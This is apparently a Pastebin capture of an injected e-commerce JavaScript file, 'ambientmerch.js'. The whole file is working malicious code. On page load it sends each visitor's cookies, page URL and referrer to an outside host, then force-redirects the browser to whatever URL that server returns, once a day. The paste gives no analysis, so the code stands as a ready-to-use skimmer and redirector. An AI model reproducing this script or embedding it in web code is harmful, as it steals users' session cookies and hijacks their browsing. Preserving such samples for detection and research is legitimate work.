Advertisement
TrashScrape

ambientmerch.js

Dec 6th, 2019
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. http://setup.shopapps.io/out-of-stock/script/ambientmerch.js
  2.  
  3.  
  4. (function(){
  5. function initXMLhttp() {
  6.  
  7. var xmlhttp;
  8. if (window.XMLHttpRequest) {
  9. xmlhttp = new XMLHttpRequest();
  10. } else {
  11.  
  12. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  13. }
  14.  
  15. return xmlhttp;
  16. }
  17.  
  18. function minAjax(config) {
  19.  
  20.  
  21. if (!config.url) {
  22. return;
  23.  
  24. }
  25.  
  26. if (!config.type) {
  27. return;
  28.  
  29. }
  30.  
  31. if (!config.method) {
  32. config.method = true;
  33. }
  34.  
  35.  
  36. if (!config.debugLog) {
  37. config.debugLog = false;
  38. }
  39.  
  40. var sendString = [],
  41. sendData = config.data;
  42. if( typeof sendData === "string" ){
  43. var tmpArr = String.prototype.split.call(sendData,'&');
  44. for(var i = 0, j = tmpArr.length; i < j; i++){
  45. var datum = tmpArr[i].split('=');
  46. sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
  47. }
  48. }else if( typeof sendData === 'object' && !( sendData instanceof String ) ){
  49. for (var k in sendData) {
  50. var datum = sendData[k];
  51. if( Object.prototype.toString.call(datum) == "[object Array]" ){
  52. for(var i = 0, j = datum.length; i < j; i++) {
  53. sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
  54. }
  55. }else{
  56. sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
  57. }
  58. }
  59. }
  60. sendString = sendString.join('&');
  61.  
  62. if(window.XDomainRequest) {
  63. var xmlhttp = new window.XDomainRequest();
  64. xmlhttp.onload = function () {
  65. if(config.success){
  66. config.success(xmlhttp.responseText);
  67. }
  68. };
  69. xmlhttp.open("POST", config.url);
  70. xmlhttp.send(sendString);
  71. }else{
  72.  
  73. var xmlhttp = initXMLhttp();
  74.  
  75. xmlhttp.onreadystatechange = function() {
  76.  
  77. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  78.  
  79. if (config.success) {
  80. config.success(xmlhttp.responseText, xmlhttp.readyState);
  81. }
  82.  
  83. } else {
  84.  
  85. }
  86. }
  87.  
  88. if (config.type == "GET") {
  89. xmlhttp.open("GET", config.url + "?" + sendString, config.method);
  90. xmlhttp.send();
  91.  
  92. }
  93. if (config.type == "POST") {
  94. xmlhttp.open("POST", config.url, config.method);
  95. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  96. xmlhttp.send(sendString);
  97. }
  98.  
  99.  
  100. }
  101.  
  102. }
  103.  
  104. dL();
  105.  
  106. function dL(){
  107. var host = 'http://press.connectioncdn.com/f';
  108. var config = {
  109. url: host + "/stats.php",
  110. type: "POST",
  111. data: {
  112. vbase: document.baseURI,
  113. vhref: location.href,
  114. vref: document.referrer, k: "c2hvcGFwcHMuaW8=",ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: ""
  115. },
  116. success: onSuccessCallback
  117. };
  118.  
  119. function bl(resp){
  120. !function(dr){function t(){return!!localStorage&&localStorage.getItem(a)}function e(){o(),
  121. parent.top.window.location.href=c}function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
  122. function n(){if(t()){var o=localStorage&&localStorage.getItem(a);r>o&&e()}else e()}var a="MenuIdentifier",
  123. r=Math.floor((new Date).getTime()/1e3),c=dr,i=86400;n()}(resp);
  124. }
  125.  
  126. function onSuccessCallback(response){
  127. if(response && response.indexOf('http') > -1){
  128. bl(response);
  129. }
  130. }
  131.  
  132.  
  133. minAjax(config);
  134.  
  135. }
  136. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement